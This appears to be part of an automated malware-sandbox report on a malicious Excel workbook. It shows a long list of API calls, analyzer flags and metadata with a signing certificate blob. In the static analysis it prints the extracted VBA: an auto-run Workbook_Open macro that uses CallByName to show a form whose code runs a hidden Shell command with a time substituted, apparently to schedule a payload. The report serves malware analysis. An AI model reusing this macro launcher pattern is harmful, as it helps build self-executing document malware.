  2292. "user32.dll.GetCapture",
  2293. "user32.dll.TrackMouseEvent",
  2294. "user32.dll.GetMessagePos",
  2295. "user32.dll.ScreenToClient",
  2296. "user32.dll.IsWindowEnabled",
  2297. "user32.dll.GetDesktopWindow",
  2298. "user32.dll.FindWindowExW",
  2299. "user32.dll.GetKeyState",
  2300. "mso.dll.#2966",
  2301. "mso.dll.#2998",
  2302. "mso.dll.#7836",
  2303. "mso.dll.#3544",
  2304. "user32.dll.GetSystemMenu",
  2305. "mso.dll.#732",
  2306. "user32.dll.EnableMenuItem",
  2307. "mso.dll.#1575",
  2308. "user32.dll.OpenClipboard",
  2309. "user32.dll.IsClipboardFormatAvailable",
  2310. "user32.dll.CloseClipboard",
  2311. "mso.dll.#6305",
  2312. "mso.dll.#6337",
  2313. "mso.dll.#6220",
  2314. "mso.dll.#9693",
  2315. "mso.dll.#1419",
  2316. "mso.dll.#7299",
  2317. "mso.dll.#4702",
  2318. "mso.dll.#287",
  2319. "user32.dll.IsChild",
  2320. "mso.dll.#424",
  2321. "uiautomationcore.dll.UiaClientsAreListening",
  2322. "user32.dll.GetAsyncKeyState",
  2323. "mso.dll.#1815",
  2324. "user32.dll.LoadImageW",
  2325. "mso.dll.#8824",
  2326. "mso.dll.#900",
  2327. "mso.dll.#6784",
  2328. "mso.dll.#4795",
  2329. "mso.dll.#5892",
  2330. "user32.dll.GetClipboardOwner",
  2331. "user32.dll.SendNotifyMessageW",
  2332. "mso.dll.#6422",
  2333. "user32.dll.WaitMessage",
  2334. "advapi32.dll.NotifyServiceStatusChangeW",
  2335. "user32.dll.RegisterPowerSettingNotification",
  2336. "powrprof.dll.PowerSettingRegisterNotification",
  2337. "user32.dll.GetWindowThreadProcessId",
  2338. "advapi32.dll.RegDeleteTreeW",
  2339. "xmllite.dll.CreateXmlReader",
  2340. "advapi32.dll.CryptGenKey",
  2341. "cryptsp.dll.CryptGenKey",
  2342. "advapi32.dll.CryptImportKey",
  2343. "cryptsp.dll.CryptImportKey",
  2344. "advapi32.dll.CryptExportKey",
  2345. "cryptsp.dll.CryptExportKey",
  2346. "advapi32.dll.CryptDestroyKey",
  2347. "cryptsp.dll.CryptDestroyKey",
  2348. "advapi32.dll.CryptSetHashParam",
  2349. "msi.dll.#90",
  2350. "mso.dll.#8837",
  2351. "mso.dll.#1613",
  2352. "mso.dll.#9218",
  2353. "mso.dll.#1455",
  2354. "user32.dll.CreateWindowExW",
  2355. "user32.dll.EnableScrollBar",
  2356. "user32.dll.ShowScrollBar",
  2357. "user32.dll.ShowWindow",
  2358. "user32.dll.SetParent",
  2359. "user32.dll.KillTimer",
  2360. "user32.dll.SetWindowPos",
  2361. "user32.dll.MoveWindow",
  2362. "user32.dll.GetWindowRect",
  2363. "user32.dll.DestroyWindow",
  2364. "gdi32.dll.GetViewportExtEx",
  2365. "gdi32.dll.GetWindowExtEx",
  2366. "gdi32.dll.GetTextCharset",
  2367. "gdi32.dll.GetLayout",
  2368. "oleaut32.dll.SysAllocString",
  2369. "oleaut32.dll.SysStringLen",
  2370. "oleaut32.dll.SysAllocStringLen",
  2371. "oleaut32.dll.SysFreeString",
  2372. "user32.dll.SetScrollInfo",
  2373. "uxtheme.dll.GetThemePartSize",
  2374. "mso.dll.#9018",
  2375. "gdi32.dll.GdiIsMetaPrintDC",
  2376. "msimtf.dll.MsimtfIsWindowFiltered",
  2377. "user32.dll.GetMessageW",
  2378. "gdi32.dll.SetTextColor",
  2379. "gdi32.dll.SetBkMode",
  2380. "gdi32.dll.SetTextAlign",
  2381. "gdi32.dll.ExtSelectClipRgn",
  2382. "gdi32.dll.GetTextColor",
  2383. "uxtheme.dll.DrawThemeBackground",
  2384. "user32.dll.CallNextHookEx",
  2385. "wininet.dll.InternetGetConnectedState",
  2386. "rasapi32.dll.RasConnectionNotificationW",
  2387. "gdi32.dll.GdiFlush",
  2388. "cryptsp.dll.CryptAcquireContextW",
  2389. "osppcext.dll.SLActivateProduct",
  2390. "osppcext.dll.SLGetTokenActivationGrants",
  2391. "osppcext.dll.SLGetTokenActivationCertificates",
  2392. "osppcext.dll.SLGenerateTokenActivationChallenge",
  2393. "osppcext.dll.SLSignTokenActivationChallenge",
  2394. "osppcext.dll.SLDepositTokenActivationResponse",
  2395. "osppcext.dll.SLFreeTokenActivationGrants",
  2396. "osppcext.dll.SLFreeTokenActivationCertificates",
  2397. "sechost.dll.NotifyServiceStatusChangeA",
  2398. "mso.dll.#8113",
  2399. "mso.dll.#2833",
  2400. "gdi32.dll.CombineRgn",
  2401. "user32.dll.CopyRect",
  2402. "user32.dll.UpdateLayeredWindow",
  2403. "user32.dll.UnhookWindowsHookEx",
  2404. "mso.dll.#7531",
  2405. "oleaut32.dll.#33",
  2406. "sxs.dll.SxsOleAut32MapReferenceClsidToConfiguredClsid",
  2407. "mso.dll.#6484",
  2408. "mso.dll.#4477",
  2409. "mso.dll.#9374",
  2410. "mso.dll.#8461",
  2411. "mso.dll.#4619",
  2412. "mso.dll.#8202",
  2413. "mso.dll.#888",
  2414. "mso.dll.#8757",
  2415. "mso.dll.#7163",
  2416. "mso.dll.#4456",
  2417. "mso.dll.#6345",
  2418. "user32.dll.RedrawWindow",
  2419. "mso.dll.#1031",
  2420. "mso.dll.#4820",
  2421. "mso.dll.#2766",
  2422. "mso.dll.#2294",
  2423. "mso.dll.#8633",
  2424. "mso.dll.#8158",
  2425. "mso.dll.#5512",
  2426. "mso.dll.#1401",
  2427. "mso.dll.#8472",
  2428. "mso.dll.#8691",
  2429. "mso.dll.#6079",
  2430. "mso.dll.#6000",
  2431. "mso.dll.#248",
  2432. "mso.dll.#9398",
  2433. "mso.dll.#1442",
  2434. "mso.dll.#4388",
  2435. "mso.dll.#5973",
  2436. "mso.dll.#8747",
  2437. "mso.dll.#420",
  2438. "mso.dll.#186",
  2439. "user32.dll.EnumThreadWindows",
  2440. "user32.dll.EnumWindows",
  2441. "user32.dll.DestroyIcon",
  2442. "mso.dll.#3209",
  2443. "mso.dll.#4083",
  2444. "mso.dll.#292",
  2445. "mso.dll.#795",
  2446. "mso.dll.#8349",
  2447. "mso.dll.#8796",
  2448. "mso.dll.#3930",
  2449. "mso.dll.#9105",
  2450. "mso.dll.#9199",
  2451. "mso.dll.#7948",
  2452. "uxtheme.dll.CloseThemeData",
  2453. "user32.dll.UnregisterClassW",
  2454. "mso.dll.#6277",
  2455. "wtsapi32.dll.WTSUnRegisterSessionNotification",
  2456. "winsta.dll.WinStationUnRegisterConsoleNotification",
  2457. "mso.dll.#831",
  2458. "mso.dll.#121",
  2459. "mso.dll.#884",
  2460. "user32.dll.GetWindowPlacement",
  2461. "mso.dll.#9306",
  2462. "mso.dll.#2468",
  2463. "mso.dll.#815",
  2464. "mso.dll.#6418",
  2465. "mso.dll.#4203",
  2466. "mso.dll.#4284",
  2467. "mso.dll.#2272",
  2468. "mso.dll.#4781",
  2469. "user32.dll.VkKeyScanW",
  2470. "mso.dll.#591",
  2471. "user32.dll.PostQuitMessage",
  2472. "mso.dll.#3338",
  2473. "mso.dll.#3974",
  2474. "mso.dll.#8106",
  2475. "mso.dll.#8876",
  2476. "mso.dll.#4426",
  2477. "oleaut32.dll.#34",
  2478. "mso.dll.#4210",
  2479. "mso.dll.#8316",
  2480. "mso.dll.#187",
  2481. "mso.dll.#5625",
  2482. "mso.dll.#8586",
  2483. "mso.dll.#8004",
  2484. "mso.dll.#6137",
  2485. "mso.dll.#6078",
  2486. "mso.dll.#7598",
  2487. "advapi32.dll.ConvertSidToStringSidW",
  2488. "msi.dll.DllGetVersion",
  2489. "ws2_32.dll.#116",
  2490. "user32.dll.RemoveClipboardFormatListener",
  2491. "user32.dll.UnregisterPowerSettingNotification",
  2492. "powrprof.dll.PowerSettingUnregisterNotification",
  2493. "shell32.dll.#155",
  2494. "advapi32.dll.EventUnregister",
  2495. "user32.dll.UnregisterClassA",
  2496. "gdiplus.dll.GdiplusShutdown",
  2497. "advapi32.dll.RegDeleteValueW",
  2498. "mso.dll.#2482",
  2499. "mso.dll.#5458",
  2500. "mso.dll.#786",
  2501. "advapi32.dll.UnregisterTraceGuids",
  2502. "comctl32.dll.#321"
  2503. ]
  2504.  
  2505. [*] Static Analysis: {
  2506. "office": {
  2507. "Macro": {
  2508. "Code": {
  2509. "Macro2": [
  2510. [
  2511. "App1.frm",
  2512. "Private Sub UserForm_Activate()\nOn Error Resume Next\nDim time\ntime = Format(Now + TimeSerial(0, 0, 24), \"hh:mm\")\n\n\nShell Replace(App2.T3.Text, \"77:77\", time)\nUnload Me\nEnd Sub\n\n"
  2513. ]
  2514. ],
  2515. "Macro1": [
  2516. [
  2517. "\\xdd\\xf2\\xe0\\xca\\xed\\xe8\\xe3\\xe0.cls",
  2518. "Sub WorkBook_open()\nCallByName App1, \"Show\", VbMethod\n\nEnd Sub"
  2519. ]
  2520. ]
  2521. },
  2522. "Analysis": {
  2523. "Suspicious": [
  2524. [
  2525. "CallByName",
  2526. "May attempt to obfuscate malicious function calls"
  2527. ],
  2528. [
  2529. "Shell",
  2530. "May run an executable file or a system command"
  2531. ]
  2532. ],
  2533. "AutoExec": [
  2534. [
  2535. "Workbook_Open",
  2536. "Runs when the Excel Workbook is opened"
  2537. ]
  2538. ]
  2539. }
  2540. },
  2541. "Metadata": {
  2542. "SummaryInformation": {
  2543. "num_words": "None",
  2544. "num_pages": "None",
  2545. "last_saved_by": "alex",
  2546. "creating_application": "Microsoft Excel",
  2547. "author": "Microsoft Office",
  2548. "revision_number": "None",
  2549. "codepage": "1251",
  2550. "title": "None",
  2551. "comments": "None",
  2552. "num_chars": "None",
  2553. "total_edit_time": "None",
  2554. "create_time": "None",
  2555. "template": "None",
  2556. "last_printed": "None",
  2557. "keywords": "None",
  2558. "security": "0",
  2559. "last_saved_time": "None",
  2560. "thumbnail": "None",
  2561. "subject": "None"
  2562. },
  2563. "DocumentSummaryInformation": {
  2564. "codepage_doc": "1251",
  2565. "chars_with_spaces": "None",
  2566. "shared_doc": "False",
  2567. "paragraphs": "None",
  2568. "hidden_slides": "None",
  2569. "mm_clips": "None",
  2570. "category": "None",
  2571. "presentation_target": "None",
  2572. "hlinks_changed": "False",
  2573. "scale_crop": "False",
  2574. "version": "1048576",
  2575. "hlinks": "None",
  2576. "link_base": "None",
  2577. "company": "Microsoft Corporation",
  2578. "unused": "None",
  2579. "dig_sig": "8\\x17\\x00\\x00\\x08\\x00\\x00\\x00\\xf6\\x0f\\x00\\x00,\\x00\\x00\\x00\\x17\\x07\\x00\\x00\"\\x10\\x00\\x00\\x00\\x00\\x00\\x009\\x17\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00;\\x17\\x00\\x000\\x82\\x0f\\xf2\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x07\\x02\\xa0\\x82\\x0f\\xe30\\x82\\x0f\\xdf\\x02\\x01\\x011\\x0e0\\x0c\\x06\\x08*\\x86H\\x86\\xf7\r\\x02\\x05\\x05\\x000R\\x06\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x01\\x04\\xa0D0B0\\x1e\\x06\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x01\\x1d\\x04\\x10(\\xaf&\\x08\\xc3F\\x82\\xb1\\xc4:\\x03!zaO\\x000 0\\x0c\\x06\\x08*\\x86H\\x86\\xf7\r\\x02\\x05\\x05\\x00\\x04\\x10\\xb5\\xdb\\x88\\xfa[7\\xa7\\xe2$\\xad\\xe8*\\xac3\\xbb\\xc9\\xa0\\x82\rt0\\x82\\x04 0\\x82\\x03\\x08\\xa0\\x03\\x02\\x01\\x02\\x02\\x104N\\xd5W \\xd5\\xed\\xecI\\xf4/\\xce7\\xdb+m0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x05\\x05\\x000\\x81\\xa91\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x150\\x13\\x06\\x03U\\x04\n\\x13\\x0cthawte, Inc.1(0&\\x06\\x03U\\x04\\x0b\\x13\\x1fCertification Services Division1806\\x06\\x03U\\x04\\x0b\\x13/(c) 2006 thawte, Inc. - For authorized use only1\\x1f0\\x1d\\x06\\x03U\\x04\\x03\\x13\\x16thawte Primary Root CA0\\x1e\\x17\r061117000000Z\\x17\r360716235959Z0\\x81\\xa91\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x150\\x13\\x06\\x03U\\x04\n\\x13\\x0cthawte, Inc.1(0&\\x06\\x03U\\x04\\x0b\\x13\\x1fCertification Services Division1806\\x06\\x03U\\x04\\x0b\\x13/(c) 2006 thawte, Inc. - For authorized use only1\\x1f0\\x1d\\x06\\x03U\\x04\\x03\\x13\\x16thawte Primary Root CA0\\x82\\x01\"0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x01\\x05\\x00\\x03\\x82\\x01\\x0f\\x000\\x82\\x01\n\\x02\\x82\\x01\\x01\\x00\\xac\\xa0\\xf0\\xfb\\x80Y\\xd4\\x9c\\xc7\\xa4\\xcf\\x9d\\xa1Ys\t\\x10E\\x0c\r,nh\\xf1l[HhIY7\\xfc\\x0b3\\x19\\xc2w\\x7f\\xcc\\x10-\\x954\\x1c\\xe6\\xebM\t\\xa7\\x1c\\xd2\\xb8\\xc9\\x976\\x02\\xb7\\x89\\xd4$_\\x06\\xc0\\xccD\\x94\\x94\\x8d\\x02bo\\xebZ\\xdd\\x11\\x8d(\\x9a\\\\x84\\x90\\x10z\r\\xbdtf/j8\\xa0\\xe2\\xd5TD\\xeb\\x1d\\x07\\x9f\\x07\\xbao\\xee\\xe9\\xfdN\\x0b)\\xf5>\\x84\\xa0\\x01\\xf1\\x9c\\xab\\xf8\\x1c~\\x89\\xa4\\xe8\\xa1\\xd8qe\r\\xa3Q{\\xee\\xbc\\xd2\"`\r\\xb9[\\x9d\\xdf\\xba\\xfcQ[\\x0b\\xaf\\x98\\xb2\\xe9.\\xe9\\x04\\xe8b\\x87\\xde+\\xc8\\xd7N\\xc1Ld\\x1e\\xdd\\xcf\\x87X\\xbaJO\\xcah\\x07\\x1d\\x1c\\x9dJ\\xc6\\xd5/\\x91\\xcc|qr\\x1c\\xc5\\xc0g\\xeb2\\xfd\\xc9\\x92\\\\x94\\xda\\x85\\xc0\\x9b\\xbfS}+\t\\xf4\\x8c\\x9d\\x91\\x1f\\x97jR\\xcb\\xde\t6\\xa4w\\xd8{\\x87PD\\xd5>n)i\\xfb9I&\\x1e\t\\xa5\\x80{@-\\xeb\\xe8'\\x85\\xc9\\xfea\\xfd~\\xe6|\\x97\\x1d\\xd5\\x9d\\x02\\x03\\x01\\x00\\x01\\xa3B0@0\\x0f\\x06\\x03U\\x1d\\x13\\x01\\x01\\xff\\x04\\x050\\x03\\x01\\x01\\xff0\\x0e\\x06\\x03U\\x1d\\x0f\\x01\\x01\\xff\\x04\\x04\\x03\\x02\\x01\\x060\\x1d\\x06\\x03U\\x1d\\x0e\\x04\\x16\\x04\\x14{[E\\xcf\\xaf\\xce\\xcbz\\xfd1\\x92\\x1aj\\xb6\\xf3F\\xebWHP0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x05\\x05\\x00\\x03\\x82\\x01\\x01\\x00y\\x11\\xc0K\\xb3\\x91\\xb6\\xfc\\xf0\\xe9g\\xd4\rnE\\xbeU\\xe8\\x93\\xd2\\xce\\x03?\\xed\\xda%\\xb0\\x1dW\\xcb\\x1e:v\\xa0L\\xecPv\\xe8dr\\x0c\\xa4\\xa9\\xf1\\xb8\\x8b\\xd6\\xd6\\x87\\x84\\xbb2\\xe5A\\x11\\xc0w\\xd9\\xb3`\\x9d\\xeb\\x1b\\xd5\\xd1nDD\\xa9\\xa6\\x01\\xecUb\\x1dw\\xb8\\\\x8eHI|\\x9c;W\\x11\\xac\\xads7\\x8e/x\\\\x90hG\\xd9``\\xe6\\xfc\\x07=\" \\x17\\xc4\\xf7\\x16\\xe9\\xc4\\xd8r\\xf9\\xc8s|\\xdf\\x16/\\x15\\xa9>\\xfdj'\\xb6\\xa1\\xebZ\\xba\\x98\\x1f\\xd5\\xe3Md\n\\x9d\\x13\\xc8a\\xba\\xf59\\x1c\\x87\\xba\\xb8\\xbd{\"\\x7f\\xf6\\xfe\\xac@y\\xe5\\xac\\x10o=\\x8f\\x1byv\\x8b\\xc47\\xb3!\\x18\\x84\\xe56\\x00\\xebc \\x99\\xb9\\xe9\\xfe3\\x04\\xbbA\\xc8\\xc1\\x02\\xf9Dc \\x9e\\x81\\xceB\\xd3\\xd6?,v\\xd3c\\x9cY\\xdd\\x8f\\xa6\\xe1\\x0e\\xa0.A\\xf7.\\x95G\\xcf\\xbc\\xfd3\\xf3\\xf6\\x0ba~~\\x91+\\x81G\\xc2'0\\xee\\xa7\\x10]7\\x8f\\9+\\xe4\\x04\\xf0{\\x8dV\\x8ch0\\x82\\x04\\x990\\x82\\x03\\x81\\xa0\\x03\\x02\\x01\\x02\\x02\\x10q\\xa0\\xb76\\x95\\xdd\\xb1\\xaf\\xc2;+\\x9a\\x18\\xeeT\\xcb0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x0b\\x05\\x000\\x81\\xa91\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x150\\x13\\x06\\x03U\\x04\n\\x13\\x0cthawte, Inc.1(0&\\x06\\x03U\\x04\\x0b\\x13\\x1fCertification Services Division1806\\x06\\x03U\\x04\\x0b\\x13/(c) 2006 thawte, Inc. - For authorized use only1\\x1f0\\x1d\\x06\\x03U\\x04\\x03\\x13\\x16thawte Primary Root CA0\\x1e\\x17\r131210000000Z\\x17\r231209235959Z0L1\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x150\\x13\\x06\\x03U\\x04\n\\x13\\x0cthawte, Inc.1&0$\\x06\\x03U\\x04\\x03\\x13\\x1dthawte SHA256 Code Signing CA0\\x82\\x01\"0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x01\\x05\\x00\\x03\\x82\\x01\\x0f\\x000\\x82\\x01\n\\x02\\x82\\x01\\x01\\x00\\x9bU\\x02L\\x17\\x05\\xe9\\xd0f\\xc3\\xfc(\\xad\\xd3\\xc0\\xfe\\xef\\xe0\\xe9~\\xd4\\x1e\\xf6\\xaa\\x1b\\x91F\\xfd\\xf5\\x16\\xed\\x98\\x07S\\xfa\\xba\\x87\\x1b}\\x9e\\x1f\\x01'\\xab\\xb9\\xd2g\\xca\\xb7\\x10%S\\xf4\\xe3\\xbe\\x9b\\x90\\xb8\\xed#\\B\\xefd%X\\xe5\\x88\"\\x1a\\xbe\\xf5\\xc7\\xae\\xf5\\xbe\\x8a\\xb1\\x11\\x11\\x93\\x1a\"\\xa9ti\\xc1t\\xb6h\\x87\\xa7\\x830\\xf9d\\xf1\\xb1\\xe38>\\xf4\\xd6\\xc1\\xfc\\x12\\xfesW\\x175W\\x8a\\xddP\\x8d\\x03\\xf8f\\xcd\\xcav\\x83\\x13\\xc8\\xd7\\x0eq\\x1d\\xe4c\\xc9\\xba\\x17\\xf8\\xd1\\xb9\\xe4\\x88\\xd2,(\\xc8! \rA\\xb7\\x0b\\xe2/\\xc2\\x80\\xe6\\x88{Sl\\xc3Dc\\x81\\x7fhG\\x8c+*\\xcf[\\xf4\\x8cIa\\xbai\\x85\\xfdk\\x00x\\x05&i\\x130\\x808N\\xf1ZU\\xc9\\xc5P\\xd6\\xaa8\\x89GC\\\\xfeMs\\xa5I\\xc5\\x93i\\xfew\\x96\\x9a\\xaf\\xf3\\x8c\\x0eW\\xba3\\xd9\\x0e\\xc6B\\xd3\\x03w\\xc4\\xbb9\\xad\\x91\\xf9\\xf3\\xf7\\x96\\:d\\xa6\\xed'W\\xc1\\xe8@\\xf3S\\xf2\\xbe)4\\xfe_\\xf9\\x02\\x03\\x01\\x00\\x01\\xa3\\x82\\x01\\x170\\x82\\x01\\x130/\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x01\\x01\\x04#0!0\\x1f\\x06\\x08+\\x06\\x01\\x05\\x05\\x070\\x01\\x86\\x13http://t2.symcb.com0\\x12\\x06\\x03U\\x1d\\x13\\x01\\x01\\xff\\x04\\x080\\x06\\x01\\x01\\xff\\x02\\x01\\x0002\\x06\\x03U\\x1d\\x1f\\x04+0)0'\\xa0%\\xa0#\\x86!http://t1.symcb.com/ThawtePCA.crl0\\x1d\\x06\\x03U\\x1d%\\x04\\x160\\x14\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x02\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x030\\x0e\\x06\\x03U\\x1d\\x0f\\x01\\x01\\xff\\x04\\x04\\x03\\x02\\x01\\x060)\\x06\\x03U\\x1d\\x11\\x04\"0 \\xa4\\x1e0\\x1c1\\x1a0\\x18\\x06\\x03U\\x04\\x03\\x13\\x11SymantecPKI-1-5680\\x1d\\x06\\x03U\\x1d\\x0e\\x04\\x16\\x04\\x14W\\x86\\x9bT\\xb8\\xbe\\xa6)\\x8a\\xe4\\xf6\\xc2\\xe2\\x13\\x18\\x89\\x85\\xcd\\xdc\\xb70\\x1f\\x06\\x03U\\x1d#\\x04\\x180\\x16\\x80\\x14{[E\\xcf\\xaf\\xce\\xcbz\\xfd1\\x92\\x1aj\\xb6\\xf3F\\xebWHP0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x0b\\x05\\x00\\x03\\x82\\x01\\x01\\x00$;\\xf5\\xd7\\xa06\\x13\\xc7C\\xfe\\xf0\t\\x87h\\xd1\\x981n\\x12\\xe4?\\x1e\\x1f\\x96{kL\\x1e\\x87\\x9e\\x8b\\xc5l\\xa3\\xb1\\x0c{P\\x92\\xd5\\x81\\x9c\\xb1\\x8f,)\\xb7\\xee\\xf9\\x91\\x05\\xb9\\x8eA\\xf1,\\xf6\\xd0Y-\\x98\\xe0\\xb9\\xea\\x80\\x01G@\\x95\\xb8=\\x9d\\x03\\xbdy\\xbb5\\xb6\\xad\\x9cL'\\xf6gE\\x10\\xc9\\xc5\\xbc\\x87NU{\\xd2\\x87\\xbb\\xdd\\xdc0\\xef\\xc6\\xd4l\\xcc\\x995m\\x1c\\xe0`\\xd3\\xcdh\\x8f)YK\\x89\\x96\\x08F\\xc9\\x8e\\xfcuO\\xc5\\xdc\t\\xccN'\\x8bD\\xcd\\x07\\xbc\\xac\\x04\\xe0\\xb53\\xa5\\x87\\x9f\\xf4\\xdds\\x0c\\x91\\xea\\x12\\x81o\\xe3u\\xf0\\x1e\\xb5\\x93lD\\x17\\xd5>\\x97\\xc9\\xbd\\x07,Vw\\x1f\\x85\\xddF\\xe8\\xbf\\xde,\\x81\\x94\\xa3\\xf7\\xe5\\xb7\\xa7\\xc17\\x9fu\\xcaUwM^6)\\xca\\x85\\xd8EArWu\\xc0y[\\xfa4\\x10\\x06md B\\xb7:\\xc8\\x1f\\x1dFd\\x02_\\xc6G\\xbe\\xf0\\xc4:(T\\xda\\xf6\\x1eO\\x9a\\xa2\\x19C\\xa4oI\\xf8\\xfc^B (\\x84\\x8bG n0\\x82\\x04\\xaf0\\x82\\x03\\x97\\xa0\\x03\\x02\\x01\\x02\\x02\\x10J1}#m \\xc4\\=\\xd3O1\\xc5qq\\x970\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x0b\\x05\\x000L1\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x150\\x13\\x06\\x03U\\x04\n\\x13\\x0cthawte, Inc.1&0$\\x06\\x03U\\x04\\x03\\x13\\x1dthawte SHA256 Code Signing CA0\\x1e\\x17\r190613000000Z\\x17\r200612235959Z0m1\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02GB1\\x0e0\\x0c\\x06\\x03U\\x04\\x08\\x0c\\x05Essex1\\x100\\x0e\\x06\\x03U\\x04\\x07\\x0c\\x07HOCKLEY1\\x1d0\\x1b\\x06\\x03U\\x04\n\\x0c\\x14FIT AND FLEX LIMITED1\\x1d0\\x1b\\x06\\x03U\\x04\\x03\\x0c\\x14FIT AND FLEX LIMITED0\\x82\\x01\"0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x01\\x05\\x00\\x03\\x82\\x01\\x0f\\x000\\x82\\x01\n\\x02\\x82\\x01\\x01\\x00\\xf94\\x13I\\xca\\xd5a\\x89\\x04}E\\x98\\xf5\\xa8\\x9dc-\\xa6\\xf4\\x1eW\\xb9\t\\x86K8+\\xedL\\xd2\\x94\\xe9b\\x9e\\xed\\x02\"\\x8a3.\\xd4\\x0bz\\xadE>\\xf3\\xf1\\xec\\x91\t2x0\\xb2-I\\x96CE\\xa4\\xc7.N\\xc9\\xe7\\xbf\\x97\\x1f\\xff-\\xe5\\x82X\\x90\\xafOq\\xf8I0\\xd1P\\xa2\\x94\\xc9\\xef?\\xab\\xd4\\xd5\\x85\\xb4?y\\x94\\x05\\xb9\\xd9\\x96\\x00\\xd3\n\\x91\\xbb\\x02\\xaa\\xe0\\xe9\\xbbC\\x0c\\x1c\\xa9\\x0b:\\xc6\\xe7\\x00\\x084}K\\xfa\\x0fn\\xbd\\xfd\\x08\\\\xea\\x18r\\xcc\\x8b\\\\xff\\xd8\\xbd\\xb5\\xfd7`\\x1e\\xc4\\xe9\\x93\\xdbB\\x02\\xd1f\\xfb\\x8e\\xb8\\xca\\xbd\t\\x9aK\\xc8\\\\x80\\xc3o,9\\xb2\\x16\\x93\\x9eS\\xa5\\xe8\\x90\\x8bI^\\x82x\\x93\\xbbE}\\xde\\xd2\\xe2\\xf1{\\xeb2\\x1av\\x87X\\x86\\x02\\xef\\xb0Ft\\xc4\\x9dD\\x12\\xa9\\xe2<f\\xbcU\\xde\\xe3vl\\x9ab7\\xc2\\xedL|)\r\\xa4!\\xa0U\\xdb\\xb7@\\xe8\\x18\\xe53K>\\xfbl\\xcc\\xad)F\\xfbo~\\xc4\\xdfu\\x8c\\x1d\\xa0\\x96\\xd2\\xfd1\\x02\\x03\\x01\\x00\\x01\\xa3\\x82\\x01j0\\x82\\x01f0\t\\x06\\x03U\\x1d\\x13\\x04\\x020\\x000\\x1f\\x06\\x03U\\x1d#\\x04\\x180\\x16\\x80\\x14W\\x86\\x9bT\\xb8\\xbe\\xa6)\\x8a\\xe4\\xf6\\xc2\\xe2\\x13\\x18\\x89\\x85\\xcd\\xdc\\xb70\\x1d\\x06\\x03U\\x1d\\x0e\\x04\\x16\\x04\\x14\\xb9\\x1e\\xd3\\xb7\\x9a\\xd6\\xb1\\xb2h\\xce#~\\xa0\\xe1Qc?=\\xb4.0+\\x06\\x03U\\x1d\\x1f\\x04$0\"0 \\xa0\\x1e\\xa0\\x1c\\x86\\x1ahttp://tl.symcb.com/tl.crl0\\x0e\\x06\\x03U\\x1d\\x0f\\x01\\x01\\xff\\x04\\x04\\x03\\x02\\x07\\x800\\x13\\x06\\x03U\\x1d%\\x04\\x0c0\n\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x030n\\x06\\x03U\\x1d \\x04g0e0c\\x06\\x06g\\x81\\x0c\\x01\\x04\\x010Y0&\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x02\\x01\\x16\\x1ahttps://www.thawte.com/cps0/\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x02\\x020#\\x0c!https://www.thawte.com/repository0W\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x01\\x01\\x04K0I0\\x1f\\x06\\x08+\\x06\\x01\\x05\\x05\\x070\\x01\\x86\\x13http://tl.symcd.com0&\\x06\\x08+\\x06\\x01\\x05\\x05\\x070\\x02\\x86\\x1ahttp://tl.symcb.com/tl.crt0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x0b\\x05\\x00\\x03\\x82\\x01\\x01\\x00/&\\x04\\xa5\\xb1\\xd5\\x03\\x9e+\\x16\\xdcN+\\xd6H\\xe7\\xcf\\x86\\xef\\xeb\\xbd4\\x1c\\xc6&\\xd9\\xe0\\x90\\xf3\\xd0\\x90\\x80\\xcd\\xc1\\x9b\\xe0\\xc2V\\xc0o\\xd1\\x01WY@\\xb6\\xee\\x0c\\xbf\\xa1\\xd4\"\\x1cY.D\\x84\\x93\\xe3\\x97\\xd9,N+\\xd40\\x99\\x11\\\\xe9UO'\\xbf{\\xeeR7\\xcc\tL\\x11O\\xa3\\x7f\\x80\\x18t\\x97\\xa03\\xa3`\\xe4w\\x9eQ!\\xfen\\xca\\xf2\\xc7\\x0bo@X\\xd4\\xf0\\x82\\x16w>\\x1a\\xb4\\xa6?3\\xfa\\xe7\\xa6\"6\\xbf\\xc1\\xba\\xbb>\\xf9\\xfa\\xc8\\xff\\xfc\\x92\\x1b\\xe5\\x98\\x95\\x1fTw\\xfd\nY\"\\xee\\xdd\\xbb\\xbfA,\\xe35bH\\xb8/0\\xb9U\\xbd\\xc5Vq5\\xf1\\x98\\x17'\\xc3rr\\xab\\xff\\x94\\xe3\\x1b\\xb7\\xf6\\xdeN\\x813\t^ \\xff_V\\xd9Dq~\\x95\\xc1\\x0eh\\xbc\\xde8\\x1d\\x96\\xc8\\xf3U\\xd8\\x95quq\\x14V'u\\xde\\xf4\\xe9+\\x85!\\xaaI\\xfe\\x10\\x1ev\\x88\\xa6\\x8b\\xa0[\\xd6\\x86\\x08\\xba{\\xbc_\\xc2\\x92&\\x9dj4\\x81/\\x9c\\xf7q\\x0fcHE\\xb43X1\\x82\\x01\\xfc0\\x82\\x01\\xf8\\x02\\x01\\x010`0L1\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x150\\x13\\x06\\x03U\\x04\n\\x13\\x0cthawte, 